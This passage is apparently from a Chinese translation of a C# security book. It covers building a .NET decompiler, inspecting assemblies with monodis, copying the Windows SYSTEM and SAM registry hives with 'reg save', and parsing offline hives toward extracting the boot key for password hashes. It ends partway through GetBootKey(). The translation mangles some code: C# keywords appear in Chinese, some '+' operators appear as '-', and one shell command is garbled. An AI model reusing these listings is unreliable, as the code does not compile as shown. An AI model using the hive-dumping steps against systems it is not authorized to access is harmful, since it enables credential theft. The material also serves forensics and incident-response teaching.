klasses = ➋GenerateAssemblyMethodSource(args[0]); ➌foreach (AssemblyClass klass in klasses)
{
string outdir = Path.Combine(args[1], klass.namespase);
if (!Directory.Exists(outdir))
Directory.CreateDirectory(outdir);
string path = Path.Combine(outdir, klass.name + ".cs");
File.WriteAllText(path, klass.source);
}
}
private static IEnumerable
➍GenerateAssemblyMethodSource(string assemblyPath) {
AssemblyDefinition assemblyDefinition = AssemblyDefinition.➎ReadAssembly(assemblyPath,
new ReaderParameters(ReadingMode.Deferred) { ReadSymbols = true });
AstBuilder astBuilder = null;
foreach (var defmod in assemblyDefinition.Modules)
{
➏foreach (var typeInAssembly in defmod.Types)
{
AssemblyClass klass = new AssemblyClass();
klass.name = typeInAssembly.Name;
klass.namespase = typeInAssembly.Namespace;
astBuilder = new AstBuilder(new DecompilerContext(assemblyDefinition.MainModule)
{ CurrentType = typeInAssembly });
astBuilder.AddType(typeInAssembly);
using (StringWriter output = new StringWriter())
{
astBuilder.➐GenerateCode(new PlainTextOutput(output));
klass.➑source = output.ToString();
}
➒yield return klass;
}
}
}
}
public class AssemblyClass
{
public string namespase;
public string name;
public string source;
}
Listing 13-1: 脏 C#反编译器
Listing 13-1 内容比较密集,所以让我们来梳理一下关键点。在MainClass中,我们首先创建了一个Main()方法 ➊,它将在我们运行程序时执行。方法开始时会检查指定了多少个参数。如果只指定了一个参数,它会打印使用说明并退出。如果指定了两个参数,我们假设第一个是我们要反编译的程序集的路径,第二个是生成的源代码应写入的文件夹。最后,我们使用GenerateAssemblyMethodSource()方法 ➋将第一个参数传递给应用程序,该方法实现就在Main()方法下方。
在GenerateAssemblyMethodSource()方法➍中,我们使用 Mono.Cecil 的方法ReadAssembly() ➎来返回一个 AssemblyDefinition。基本上,这是 Mono.Cecil 中的一个类,它完全表示一个程序集,并允许你以编程方式对其进行探查。一旦我们得到了要反编译的程序集的 AssemblyDefinition,我们就得到了生成与程序集中的原始字节码指令功能上等效的 C#源代码所需的所有信息。我们通过创建抽象语法树(AST)使用 Mono.Cecil 从 AssemblyDefinition 生成我们的 C#代码。我不会深入讲解 AST(这方面有大学课程专门讲解),但你应该知道,AST 可以表达程序中的每一个潜在代码路径,而且 Mono.Cecil 可以用来生成.NET 程序的 AST。
这个过程必须对程序集中的每个类重复。像这样的基础程序集通常只有一两个类,但复杂的应用程序可能会有几十个甚至更多的类。单独为每个类编码会很麻烦,所以我们创建了一个foreach循环 ➏来为我们完成这项工作。它对程序集中的每个类执行这些步骤,并根据当前类的信息创建一个新的AssemblyClass(它在GenerateAssemblyMethodSource()方法下定义)。
这里需要注意的部分是,GenerateCode()方法 ➐ 实际上通过获取我们创建的抽象语法树(AST),为我们提供了程序集类的 C#源代码表示。然后,我们将生成的 C#源代码以及类名和命名空间分配给 AssemblyClass 上的源代码字段 ➑。完成这些后,我们将类和它们的源代码列表返回给调用 GenerateAssemblyMethodSource()方法的地方——在这里是我们的 Main()方法。在我们遍历 GenerateAssemblyMethodSource()方法返回的每个类 ➌ 时,我们为每个类创建一个新文件,并将类的源代码写入该文件。我们在 GenerateAssemblyMethodSource()中使用 yield 关键字 ➒,在 foreach 循环 ➌ 中逐个返回每个类,而不是返回所有类的完整列表然后处理它们。这对于处理包含大量类的二进制文件来说是一个很好的性能提升。
测试反编译器
让我们通过编写一个类似 Hello World 的应用程序来测试这个。创建一个新项目,使用清单 13-2 中的简单类,然后编译它。
使用 System;
命名空间 hello_world
{
class MainClass
{
public static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Console.WriteLine(2 + 2);
}
}
}
清单 13-2:反编译前的简单 Hello World 应用
编译项目后,我们将新的反编译器指向它,看看它能生成什么,如清单 13-3 所示。
$ ./decompiler.exe ~/projects/hello_world/bin/Debug/hello_world.exe hello_world
$ cat hello_world/hello_world/MainClass.cs
使用 System;
命名空间 hello_world
{
internal class MainClass
{
public static void Main(string[] args)
{
Console.WriteLine("Hello World!");
Console.WriteLine(➊4);
}
}
}
清单 13-3:反编译后的 Hello World 源代码
非常接近!唯一的实际区别是第二次调用 WriteLine()方法。在原始代码中,我们有 2 + 2,但反编译后的版本输出的是 4 ➊。这不是问题。在编译时,任何计算为常量的值都会被替换为该常量,因此 2 + 2 在汇编中会写成 4——在处理执行大量数学运算以达成特定结果的程序集时,需要注意这一点。
使用 monodis 分析程序集
假设我们想在反编译恶意二进制文件之前进行一些初步调查。Mono 附带的 monodis 工具为此提供了很多功能。它有特定的字符串类型选项(strings 是一个常见的 Unix 工具,能打印文件中找到的任何可读字符串),并且可以列出和导出编译到程序集中的资源,如配置文件或私钥。monodis 的使用输出可能会显得晦涩难懂,如清单 13-4 所示(不过 man 页面稍微好些)。
$ monodis
monodis -- Mono 公共中间语言反汇编器
使用方法是:monodis [--output=filename] [--filter=filename] [--help] [--mscorlib]
[--assembly] [--assemblyref] [--classlayout]
[--constant] [--customattr] [--declsec] [--event] [--exported]
[--fields] [--file] [--genericpar] [--interface] [--manifest]
[--marshal] [--memberref] [--method] [--methodimpl] [--methodsem]
[--methodspec] [--moduleref] [--module] [--mresources] [--presources]
[--nested] [--param] [--parconst] [--property] [--propertymap]
[--typedef] [--typeref] [--typespec] [--implmap] [--fieldrva]
[--standalonesig] [--methodptr] [--fieldptr] [--paramptr] [--eventptr]
[--propertyptr] [--blob] [--strings] [--userstrings] [--forward-decls] file ..
清单 13-4:monodis 使用输出
运行 monodis 不带任何参数将打印程序集的完整反汇编,这些反汇编属于通用中间语言(CIL)字节码,或者你也可以将反汇编输出到文件中。清单 13-5 显示了 ICSharpCode.Decompiler.dll 程序集的一些反汇编输出,这与您可能在本地编译应用程序中看到的 x86 汇编语言类似。
$ monodis ICSharpCode.Decompiler.dll | tail -n30 | head -n10
IL_000c: mul
IL_000d: call class [mscorlib]System.Collections.Generic.EqualityComparer`1<!0> class
[mscorlib]System.Collections.Generic.EqualityComparer`1<!'
j__TPar'>::get_Default() IL_0012: ldarg.0
IL_0013: ldfld !0 class '<>f__AnonymousType5`2'<!0,!1>::'
i__Field' IL_0018: callvirt instance int32 class [mscorlib]System.Collections.Generic.Equality
Comparer`1<!'
j__TPar'>::GetHashCode(!0) IL_001d: add
IL_001e: stloc.0
IL_001f: ldc.i4 -1521134295
IL_0024: ldloc.0
IL_0025: mul $
清单 13-5:来自 ICSharpCode.Decompiler.dll 的一些 CIL 反汇编
这很不错,但如果你不知道自己在看什么,那就不太有用了。请注意,输出的代码看起来类似于 x86 汇编。这实际上是原始的中间语言(IL),有点像 JAR 文件中的 Java 字节码,看起来可能有点晦涩。你可能会发现,当比较两个版本的库,查看哪些内容发生了变化时,这个功能最有用。
它还有其他有助于逆向工程的强大功能。例如,你可以运行 GNU strings 工具在一个程序集上查看里面存储了哪些字符串,但你总是会得到一些你不想要的杂乱内容,比如随机的字节序列,恰好是 ASCII 可打印字符。另一方面,如果你将 --userstrings 参数传递给 monodis,它将打印任何为代码使用存储的字符串,如变量赋值或常量,正如清单 13-6 所示。由于 monodis 实际上会解析程序集以确定哪些字符串是通过编程定义的,它能生成更加干净的结果,信号与噪音的比率更高。
$ monodis --userstrings ~/projects/hello_world/bin/Debug/hello_world.exe
用户字符串堆内容
00: ""
01: "Hello World!"
1b: ""
$
清单 13-6:使用 --userstrings 参数的 monodis
你还可以将 --userstrings 和 --strings 结合使用(用于元数据和其他内容),这将输出存储在程序集中的所有字符串,而不是 GNU strings 检测到的随机垃圾。这在你寻找加密密钥或硬编码在程序集中的凭证时非常有用。
然而,我最喜欢的 monodis 标志是 --manifest 和 --mresources。第一个,--manifest,会列出程序集中的所有嵌入式资源。这些通常是图片或配置文件,但有时你会找到私钥和其他敏感资料。第二个参数,--mresources,会将每个嵌入式资源保存到当前工作目录。列表 13-7 演示了这一点。
$ monodis --manifest ~/projects/hello_world/bin/Debug/hello_world.exe
Manifestresource 表 (1..1)
1: public 'hello_world.til_neo.png' 位于当前模块的偏移量 0 处
$ monodis --mresources ~/projects/hello_world/bin/Debug/hello_world.exe
$ file hello_world.til_neo.png
hello_world.til_neo.png:PNG 图像数据,1440 x 948,8 位/色 RGBA,非交错
$
列表 13-7:使用 monodis 将嵌入式资源保存到文件系统
显然,有人把一张 Neo 的图片隐藏在了我的 Hello World 应用程序中!可以肯定的是,monodis 是我在处理未知程序集时最喜欢的工具,当我想要获取更多关于它的信息时,比如方法或二进制文件中的特定字符串。
最后,我们有一个非常有用的 monodis 参数,--method,它列出了库或二进制文件中所有可用的方法和参数(参见 列表 13-8)。
$ monodis --method ch1_hello_world.exe
方法表 (1..2)
########## ch1_hello_world.MainClass
1: ➊实例默认 void '.ctor' () (参数: 1 实现标志: cil 管理)
2: ➋默认的 void Main (string[] args) (参数: 1 实现标志: cil 管理) 列表 13-8:演示 monodis 的 --method 参数
当你在 第一章的 Hello World 程序上运行 monodis --method 时,你会注意到 monodis 打印了两行方法。第一行 ➊ 是包含 Main() 方法的 MainClass 类的构造函数,它位于第 2 行 ➋。所以,这个参数不仅列出了所有的方法(以及这些方法所在的类),还打印了类的构造函数!这能提供关于程序如何工作的深刻见解:方法名称通常是对内部工作原理的良好描述。
结论
在本章的第一部分,我们讨论了如何利用开源的 ICSharpCode.Decompiler 和 Mono.Cecil 库将任意程序集反编译回 C# 代码。通过编译一个简单的 Hello World 应用程序,我们看到了反编译后的程序集与原始源代码之间的一个区别。其他差异也可能出现,例如关键字 var 被替换为实际的对象类型。然而,生成的代码应该仍然在功能上等价,即使它不完全是与之前相同的源代码。
然后,我们使用 monodis 工具来查看如何解剖和分析程序集,从中提取更多的信息,以便比我们轻松获取到的方式更深入地了解一个恶意应用程序。希望这些工具能够缩短从“发生了什么?”到“我们该如何修复?”的时间,尤其是在出现问题或发现新的恶意软件时。
第十四章
14
离线读取注册表 Hive

Windows NT 注册表是一个金矿,里面包含了很多有用的数据,比如补丁级别和密码哈希。而这些信息不仅对那些希望利用网络漏洞的渗透测试者有用,对任何从事信息安全事件响应或数据取证的人员也同样有价值。
举个例子,假设你拿到了一台被入侵的计算机的硬盘,并且你需要找出发生了什么事情。你该怎么做?无论 Windows 是否能正常运行,从硬盘中读取关键信息都是至关重要的。Windows 注册表实际上是磁盘上一组文件,称为注册表 Hive,学会如何浏览注册表 Hive 能让你更好地利用这些包含大量有用信息的 Hive。注册表 Hive 也是解析二进制文件格式的一个很好的入门,二进制文件格式是为了计算机高效存储数据而设计的,但对人类来说并不太友好。
在本章中,我们将讨论 Windows NT 注册表 Hive 数据结构,并编写一个包含几个类的小型库来读取离线 Hive,从中提取有用信息,比如启动键。如果你以后想从注册表中提取密码哈希,这将非常有用。
注册表 Hive 结构
高级别来看,注册表 Hive 是一个节点树。每个节点可能有键/值对,并且可能有子节点。我们将使用节点键和值键这两个术语来分类注册表 Hive 中的两种数据类型,并为这两种键类型创建类。节点键包含有关树结构及其子键的信息,而值键保存应用程序访问的值信息。从视觉效果来看,树的形态有点像图 14-1。

图 14-1:一个简单的注册表树的可视化表示,展示了节点、键和值
每个节点键都有一些特定的元数据与之一起存储,例如最后一次修改其值键的时间和其他系统级信息。所有这些数据都为计算机读取进行了高效存储——但对人类来说并不友好。在实现我们的库时,我们会跳过一些元数据,以便使最终结果更简洁,但我会在过程中指出这些实例。
如你在图 14-1 中看到的,注册表头之后,节点树以根节点键开始。根节点键有两个子节点,在这个示例中我们称它们为 Foo 和 Bar。Foo 节点键包含两个值键,分别是 Baz 和 Bat,其值分别为 true 和 "AHA"。而 Bar 则只有子节点 BarBuzz,且只有一个值键。这个注册表 Hive 树的示例非常简单且人为构造。你机器上的注册表 Hive 要复杂得多,可能包含数百万个键!
获取注册表 Hive
在正常操作期间,Windows 会锁定注册表蜂巢以防止篡改。修改 Windows 注册表可能会带来灾难性后果,比如计算机无法启动,因此这并不是一项可以轻视的操作。然而,如果你具有管理员权限,可以使用 cmd.exe 导出指定的注册表蜂巢。Windows 随附有 reg.exe,这是一个有用的命令行工具,用于读取和写入注册表。我们可以使用这个工具来复制我们感兴趣的注册表蜂巢,以便离线读取,如 Listing 14-1 所示。这将防止任何意外灾难的发生。
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Windows\system32>reg ➊save HKLM\System C:\system.hive
操作成功完成。
Listing 14-1:使用 reg.exe 复制注册表蜂巢
使用保存子命令 ➊,我们指定要保存的注册表路径以及保存到的文件。第一个参数是 HKLM\System 路径,它是系统注册表蜂巢的根节点(其中包含如启动密钥等信息)。通过选择这个注册表路径,我们可以将系统的注册表蜂巢保存到机器外部,以便以后进行进一步分析。同样的技术可以用于 HKLM\Sam(存储用户名和哈希值)和 HKLM\Software(存储补丁级别和其他软件信息)。但请记住,保存这些节点需要管理员权限!
如果你有一个可以挂载到机器上的硬盘,另一个获取注册表蜂巢的方法是直接从 System32 文件夹中复制注册表蜂巢,操作系统将原始蜂巢存储在该文件夹中。如果 Windows 没有运行,注册表蜂巢不会被锁定,你应该能够将它们复制到其他系统中。你可以在目录 C:\Windows\System32\config 中找到操作系统当前使用的原始蜂巢(参见 Listing 14-2)。
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。
C:\Windows\system32>cd config
C:\Windows\System32\config>dir
C: 驱动器的卷标是 BOOTCAMP
卷序列号为 B299-CCD5
C:\Windows\System32\config 目录
01/24/2016 02:17 PM
. 01/24/2016 02:17 PM
.. 05/23/2014 03:19 AM 28,672 BCD-Template
01/24/2016 02:24 PM 60,555,264 COMPONENTS
01/24/2016 02:24 PM 4,456,448 DEFAULT
07/13/2009 08:34 PM
Journal 09/21/2015 05:56 PM 42,909,696 prl_boot
01/19/2016 12:17 AM
RegBack 01/24/2016 02:13 PM 262,144 SAM
01/24/2016 02:24 PM 262,144 SECURITY ➊
01/24/2016 02:36 PM 115,867,648 SOFTWARE ➋
01/24/2016 02:33 PM 15,728,640 SYSTEM ➌
06/22/2014 06:13 PM
systemprofile 05/24/2014 10:45 AM
TxR 8 个文件 240,070,656 字节
6 个目录 332,737,015,808 字节可用
C:\Windows\System32\config>
Listing 14-2:C:\Windows\System32\config 文件夹中的注册表蜂巢内容
列表 14-2 显示了目录中的注册表蜂巢。SECURITY ➊、SOFTWARE ➋ 和 SYSTEM ➌ 是包含最常查找信息的蜂巢。一旦蜂巢文件复制到你的系统上,如果你使用的是 Linux 或 OS X,你可以轻松验证你保存了想要读取的注册表蜂巢,方法是使用文件命令,正如 列表 14-3 所示。
$ 文件系统.hive
system.hive:MS Windows 注册表文件,NT/2000 或更高版本
$
列表 14-3:确认你在 Linux 或 OS X 中保存了哪个注册表蜂巢
现在我们准备开始分析注册表文件了。
读取注册表蜂巢
我们将从读取注册表蜂巢头开始,它是位于注册表蜂巢开头的 4,096 字节数据块。别担心,实际上只有前 20 字节左右对于解析是有用的,我们将只读取前四个字节来验证文件是否为注册表蜂巢。剩余的 4,000 多字节只是缓冲区。
创建一个类来解析注册表蜂巢文件
我们将创建一个新的类来开始解析文件:RegistryHive 类。这是我们为读取离线注册表蜂巢实现的几个简单类之一。它只有一个构造函数和一些属性,如 列表 14-4 所示。
public class RegistryHive
{
public ➊RegistryHive(string file)
{
if (!➋File.Exists(file))
throw new FileNotFoundException();
this.Filepath = file;
using (FileStream stream = ➌File.OpenRead(file))
{
using (BinaryReader reader = new ➍BinaryReader(stream))
{
byte[] buf = reader.ReadBytes(4);
if ➎(buf[0] != 'r' || buf[1] != 'e' || buf[2] != 'g' || buf[3] != 'f')
throw new NotSupportedException("文件不是注册表蜂巢。");
//快进
➏reader.BaseStream.Position = 4096 + 32 + 4;
this.RootKey = new ➐NodeKey(reader);
}
}
}
public string Filepath { get; set; }
public NodeKey RootKey { get; set; }
public bool WasExported { get; set; }
}
列表 14-4:RegistryHive 类
让我们看看构造函数,魔术就在这里开始。构造函数 ➊ 接受一个参数,即文件系统中离线注册表蜂巢的文件路径。我们使用 File.Exists() ➋ 检查路径是否存在,如果不存在就抛出异常。
一旦我们确定文件存在,我们需要确保它是一个注册表文件。但这并不难。任何注册表蜂巢的前四个魔术字节应该是 r、e、g 和 f。为了检查我们的文件是否匹配,我们使用 File.OpenRead() ➌ 打开一个流来读取文件。然后,我们通过将文件流传递给 BinaryReader 构造函数 ➍ 来创建一个新的 BinaryReader。我们用它来读取文件的前四个字节,并将它们存储在一个字节数组中。然后,我们检查它们是否匹配 ➎。如果不匹配,我们就抛出一个异常:蜂巢文件要么损坏得无法正常读取,要么根本就不是一个蜂巢文件!
如果头部检查通过,那么我们快速前进到➏注册表头部块的末尾,找到根节点键(跳过我们此时不需要的一些元数据)。在下一节中,我们将创建一个 NodeKey 类来处理我们的节点键,这样我们就可以通过将 BinaryReader 传递给 NodeKey 构造函数➐来读取该键,并将新的 NodeKey 分配给 RootKey 属性以供以后使用。
创建 NodeKey 类
NodeKey 类是我们需要实现的最复杂的类,用于读取离线注册表 hive。注册表 hive 中存储了一些节点键的元数据,我们可以跳过其中的一些,但有很多是我们无法跳过的。然而,NodeKey 类的构造函数相当简单,尽管它有很多属性,如 Listing 14-5 所示。
public class NodeKey
{
public ➊NodeKey(BinaryReader hive)
{
ReadNodeStructure(hive);
ReadChildrenNodes(hive);
ReadChildValues(hive);
}
public List
➋ChildNodes { get; set; } public List
➌ChildValues { get; set; } public DateTime ➍Timestamp { get; set; }
public int ParentOffset { get; set; }
public int SubkeysCount { get; set; }
public int LFRecordOffset { get; set; }
public int ClassnameOffset { get; set; }
public int SecurityKeyOffset { get; set; }
public int ValuesCount { get; set; }
public int ValueListOffset { get; set; }
public short NameLength { get; set; }
public bool IsRootKey { get; set; }
public short ClassnameLength { get; set; }
public string Name { get; set; }
public byte[] ClassnameData { get; set; }
public NodeKey ParentNodeKey
Listing 14-5: NodeKey 类的构造函数和属性
NodeKey 类的构造函数➊接收一个参数,即注册表 hive 的 BinaryReader。构造函数调用三个方法来读取和解析节点的特定部分,我们将在接下来的部分实现这些方法。在构造函数之后,我们定义了几个将在接下来的三个方法中使用的属性。前三个属性特别有用:ChildNodes ➋、ChildValues ➌和 Timestamp ➍。
NodeKey 构造函数中调用的第一个方法是 ReadNodeStructure(),该方法从注册表 hive 读取节点键数据,但不包括其子节点或值。详细内容请参见 Listing 14-6。
private void ReadNodeStructure(BinaryReader hive)
{
byte[] buf = hive.➊ReadBytes(4);
if (buf[0] != 0x6e || buf[1] != 0x6b) //nk
throw new NotSupportedException("无效的 nk 头部");
long startingOffset = ➋hive.BaseStream.Position;
this.➌IsRootKey = (buf[2] == 0x2c) ? true : false;
this.➍Timestamp = DateTime.FromFileTime(hive.ReadInt64());
hive.BaseStream.Position += ➎4; //跳过元数据
this.ParentOffset = hive.➏ReadInt32();
this.SubkeysCount = hive.ReadInt32();
hive.BaseStream.Position += 4; //跳过元数据
this.LFRecordOffset = hive.ReadInt32();
hive.BaseStream.Position += 4; //跳过元数据
this.ValuesCount = hive.ReadInt32();
this.ValueListOffset = hive.ReadInt32();
this.SecurityKeyOffset = hive.ReadInt32();
this.ClassnameOffset = hive.ReadInt32();
hive.BaseStream.Position = startingOffset + 68;
this.NameLength = hive.➐ReadInt16();
this.ClassnameLength = hive.ReadInt16();
buf = hive.➑ReadBytes(this.NameLength);
this.Name = System.Text.Encoding.UTF8.GetString(buf);
hive.BaseStream.Position = this.ClassnameOffset + 4 + 4096;
this.➒ClassnameData = hive.ReadBytes(this.ClassnameLength);
}
列表 14-6:NodeKey 类的 ReadNodeStructure() 方法
要开始 ReadNodeStructure() 方法,我们使用 ReadBytes() ➊ 读取节点键的接下来的四个字节,以检查是否位于节点键的开始位置(请注意,第二个两个字节是我们可以忽略的垃圾数据;我们只关心前两个字节)。我们将这两个字节分别与 0x6e 和 0x6b 进行比较。我们正在寻找代表 ASCII 字符 n 和 k(表示节点键)的两个十六进制字节值。注册表中的每个节点键都以这两个字节开始,因此我们可以始终确保正在解析我们预期的数据。在确定我们正在读取一个节点键后,我们保存当前的文件流位置 ➋,以便稍后可以轻松返回到此位置。
接下来,我们开始为一些 NodeKey 属性赋值,从 IsRootKey ➌ 和 Timestamp ➍ 属性开始。注意,每隔几行,我们会在当前流位置 ➎ 跳过四个字节而不读取任何内容。我们跳过了一些对于我们目的不必要的元数据。
接下来,我们使用 ReadInt32() 方法 ➏ 读取四个字节,并返回一个 C# 可以读取的整数。这正是 BinaryReader 类如此有用的原因。它有许多方便的方法,可以帮助你将字节转换。正如你所看到的,大多数时候我们会使用 ReadInt32() 方法,但偶尔我们也会使用 ReadInt16() ➐ 或其他方法来读取特定类型的整数,例如无符号整数或非常长的整数。
最后,我们读取 NodeKey 的名称 ➑ 并将该字符串赋给 Name 属性。我们还读取类名数据 ➒,稍后在转储引导键时将使用这些数据。
现在我们需要实现 ReadChildrenNodes() 方法。该方法会遍历每个子节点,并将节点添加到 ChildNodes 属性中,以便稍后进行分析,正如 列表 14-7 所示。
private void ReadChildrenNodes(➊BinaryReader hive)
{
this.ChildNodes = new ➋List
(); 如果 (this.LFRecordOffset != -1)
{
hive.BaseStream.Position = 4096 + this.LFRecordOffset + 4;
byte[] buf = hive.ReadBytes(2);
//ri
如果 ➌(buf[0] == 0x72 && buf[1] == 0x69)
{
int count = hive.ReadInt16();
➍for (int i = 0; i < count; i++)
{
long pos = hive.BaseStream.Position;
int offset = hive.ReadInt32();
➎hive.BaseStream.Position = 4096 + offset + 4;
buf = hive.ReadBytes(2);
如果 !(buf[0] == 0x6c && (buf[1] == 0x66 || buf[1] == 0x68))
throw new Exception("在以下位置发现错误的 LF/LH 记录:"
- hive.BaseStream.Position);
➏ParseChildNodes(hive);
➐hive.BaseStream.Position = pos + 4; //跳转到下一个记录列表
}
}
//lf 或 lh
else if ➑(buf[0] == 0x6c && (buf[1] == 0x66 || buf[1] == 0x68))
➒ParseChildNodes(hive);
else
throw new Exception("在以下位置发现无效的 LF/LH/RI 记录:"
- hive.BaseStream.Position);
}
}
Listing 14-7: NodeKey 类的 ReadChildrenNodes()方法
像我们将要为 NodeKey 类实现的大多数方法一样,ReadChildrenNodes()方法接受一个参数,即注册表 hive 的 BinaryReader ➊。我们创建一个空的节点键列表 ➋,供 ChildNodes 属性读取。然后,我们必须解析当前节点键中的任何子节点。这有点棘手,因为有三种不同的方式指向子节点键,而且其中一种类型的读取方式与另外两种不同。这三种类型分别是 ri(索引根)、lf(快速叶子)和 lh(哈希叶子)结构。
我们首先检查是否是 ri 结构 ➌。ri 结构是一个容器,并且存储方式稍有不同。它用于指向多个 lf 或 lh 记录,并允许一个节点键拥有比单个 lf 或 lh 记录能够处理的更多子节点。在一个 for 循环 ➍中遍历每一组子节点时,我们跳转到每个子记录 ➎,并通过将 hive 的 BinaryReader 作为唯一参数传递给 ParseChildNodes() ➏来调用它,这是我们接下来会实现的。解析完子节点后,我们可以看到流的位置已经发生了变化(我们在注册表 hive 中移动了位置),因此我们将流的位置重置回 ri 列表 ➐,也就是在读取子节点之前的位置,以便读取列表中的下一个记录。
如果我们正在处理一个 lf 或 lh 记录 ➑,我们只需要将 BinaryReader 传递给 ParseChildNodes()方法 ➒,并让它直接读取节点。
幸运的是,一旦子节点被读取,它们都可以以相同的方式进行解析,无论指向它们的结构是什么。执行所有实际解析的方法相对简单,如示例 14-8 所示。
private void ParseChildNodes(➊BinaryReader hive)
{
int count = hive.➋ReadInt16();
long topOfList = hive.BaseStream.Position;
➌for (int i = 0; i < count; i++)
{
hive.BaseStream.Position = topOfList + (i*8);
int newoffset = hive.ReadInt32();
hive.BaseStream.Position += 4; //跳过注册表元数据
hive.BaseStream.Position = 4096 + newoffset + 4;
NodeKey nk = new ➍NodeKey(hive) { ParentNodeKey = this };
this.ChildNodes.➎Add(nk);
}
hive.BaseStream.Position = topOfList + (count * 8);
}
Listing 14-8: NodeKey 类的 ParseChildNodes()方法
ParseChildNodes()方法接受一个参数,即 hive 的 BinaryReader ➊。我们需要遍历并解析的节点数量存储在一个 16 位整数中,我们从 hive 中读取该值➋。在存储当前位置以便稍后返回后,我们开始在 for 循环中迭代➌,跳转到每个新节点并将 BinaryReader 传递给 NodeKey 类构造函数 ➍。一旦子 NodeKey 创建完成,我们将➎该节点添加到 ChildNodes 列表中,然后重新开始这一过程,直到没有更多节点可读取。
最后一个方法是在 NodeKey 构造函数中调用的,即 ReadChildValues()方法。这个方法调用,详见列表 14-9,将所有我们在节点键中找到的键/值对填充到 ChildValues 属性列表中。
private void ReadChildValues(BinaryReader hive)
{
this.ChildValues = new ➊List
(); if (this.ValueListOffset != ➋-1)
{
➌hive.BaseStream.Position = 4096 + this.ValueListOffset + 4;
for (int i = 0; i < this.ValuesCount; i++)
{
hive.BaseStream.Position = 4096 + this.ValueListOffset + 4 + (i*4);
int offset = hive.ReadInt32();
hive.BaseStream.Position = 4096 + offset + 4;
this.ChildValues.➍Add(new ValueKey(hive));
}
}
}
列表 14-9:NodeKey 类的 ReadChildValues()方法
在 ReadChildValues()方法中,我们首先实例化一个新的列表➊来存储 ValueKeys,并将其分配给 ChildValues 属性。如果 ValueListOffset 不等于-1 ➋(这是一个特殊值,表示没有子值),我们跳转到 ValueKey 列表➌并开始在 for 循环中读取每个值键,逐个将➍每个新键添加到 ChildValues 属性中,以便我们稍后访问。
通过这一步,NodeKey 类完成了。最后要实现的是 ValueKey 类。
创建一个类来存储值键
ValueKey 类比 NodeKey 类要简单得多,也更短。ValueKey 类的大部分内容仅是构造函数,如列表 14-10 所示,尽管还有一些属性。这就是在我们开始读取离线注册表 hive 之前,剩下要实现的全部内容。
public class ValueKey
{
public ➊ValueKey(BinaryReader hive)
{
byte[] buf = hive.➋ReadBytes(2);
if (buf[0] != 0x76 || buf[1] != 0x6b) //vk
throw new NotSupportedException("坏的 vk 头");
this.NameLength = hive.➌ReadInt16();
this.DataLength = hive.➍ReadInt32();
byte[] ➎databuf = hive.ReadBytes(4);
this.ValueType = hive.ReadInt32();
hive.BaseStream.Position += 4; //跳过元数据
buf = hive.ReadBytes(this.NameLength);
this.Name = (this.NameLength == 0) ? "Default" :
System.Text.Encoding.UTF8.GetString(buf);
if (➏this.DataLength < 5)
➐this.Data = databuf;
else
{
hive.BaseStream.Position = 4096 + BitConverter.➑ToInt32(databuf, 0) + 4;
this.Data = hive.ReadBytes(this.DataLength);
}
}
public short NameLength { get; set; }
public int DataLength { get; set; }
public int DataOffset { get; set; }
public int ValueType { get; set; }
public string Name { get; set; }
public byte[] Data { get; set; }
public string String { get; set; }
}
清单 14-10:ValueKey 类
在构造函数➊中,我们读取了前两个字节,并通过将这两个字节与 0x76 和 0x6b 进行比较,确保我们读取的是值键,就像之前做的那样。在这种情况下,我们查找的是 ASCII 编码的 vk。我们还读取了名称➌和数据➎的长度,并将这些值分配给它们各自的属性。
需要注意的是,databuf 变量➎可以包含指向值键数据的指针,或者直接包含值键数据本身。如果数据长度为五个字节或更多,数据通常存储在一个四字节指针中。我们使用 DataLength 属性➏来检查 ValueKey 的长度是否小于五。如果是,我们将 databuf 变量中的数据直接分配给 Data 属性➐并结束。如果不是,我们将 databuf 变量转换为 32 位整数➑,这个整数表示文件流中当前位置到实际数据的偏移量,然后跳转到流中的那个位置并使用 ReadBytes()方法读取数据,将其分配给 Data 属性。
测试库
完成编写类后,我们可以编写一个简短的 Main()方法,如清单 14-11 所示,来测试我们是否成功解析了注册表 hive。
public static void Main(string[] args)
{
RegistryHive hive = new ➊RegistryHive(args[0]);
Console.WriteLine("根键的名称是 " + hive.RootKey.Name);
}
清单 14-11:打印注册表 hive 根键名称的 Main()方法
在 Main()方法中,我们通过将程序的第一个参数作为离线注册表 hive 的文件路径来实例化一个新的 RegistryHive 类➊。然后,我们打印出存储在 RegistryHive 类 RootKey 属性中的注册表 hive 根节点名称:
$ ./ch14_reading_offline_hives.exe /Users/bperry/system.hive
根键的名称是 CMI-CreateHive{2A7FB991-7BBE-4F9D-B91E-7CB51D4737F5}
$
一旦我们确认成功解析了 hive,就可以开始在注册表中搜索我们感兴趣的信息了。
转储启动密钥
用户名很有用,但密码哈希值可能更有用。因此,我们现在来看看如何查找这些值。为了访问注册表中的密码哈希,我们必须首先从 SYSTEM hive 中检索启动密钥。Windows 注册表中的密码哈希使用启动密钥进行加密,启动密钥对于大多数 Windows 机器来说是唯一的(除非它们是镜像或虚拟机克隆)。通过在类中添加四个方法,我们可以从 SYSTEM 注册表 hive 中转储启动密钥。
GetBootKey()方法
第一个方法是 GetBootKey() 方法,它接收一个注册表蜂巢并返回一个字节数组。启动密钥分布在注册表蜂巢中的多个节点键上,我们必须先读取这些节点键,然后使用特殊的算法对它们进行解码,从而得到最终的启动密钥。该方法的开始部分展示在列表 14-12 中。
static byte[] GetBootKey(RegistryHive hive)
{
ValueKey controlSet = ➊GetValueKey(hive, "Select\Default");
int cs = BitConverter.ToInt32(controlSet.Data, 0);
StringBuilder scrambledKey = new StringBuilder();
foreach (string key in new string[] ➋{"JD", "Skew1", "GBG", "Data"})
{
NodeKey nk = ➌GetNodeKey(hive, "ControlSet00" + cs +
"\Control\Lsa\" + key);
for (int i = 0; i < nk.ClassnameLength && i < 8; i++)
scrambledKey.➍Append((char)nk.ClassnameData [i*2]);
}
列表 14-12:开始实现 GetBootKey() 方法来读取加密的启动密钥
GetBootKey() 方法通过使用 GetValueKey() 方法 ➊ 获取 \Select\Default 值的键(我们稍后会实现该方法)。它持有当前由注册表使用的控制集。我们需要它,以便从正确的控制集中读取正确的启动密钥注册表值。控制集是在注册表中保存的操作系统配置集合。为了备份防止注册表损坏,会保留多个副本,因此我们要选择默认启动时选中的控制集,这是由 \Select\Default 注册表值键决定的。
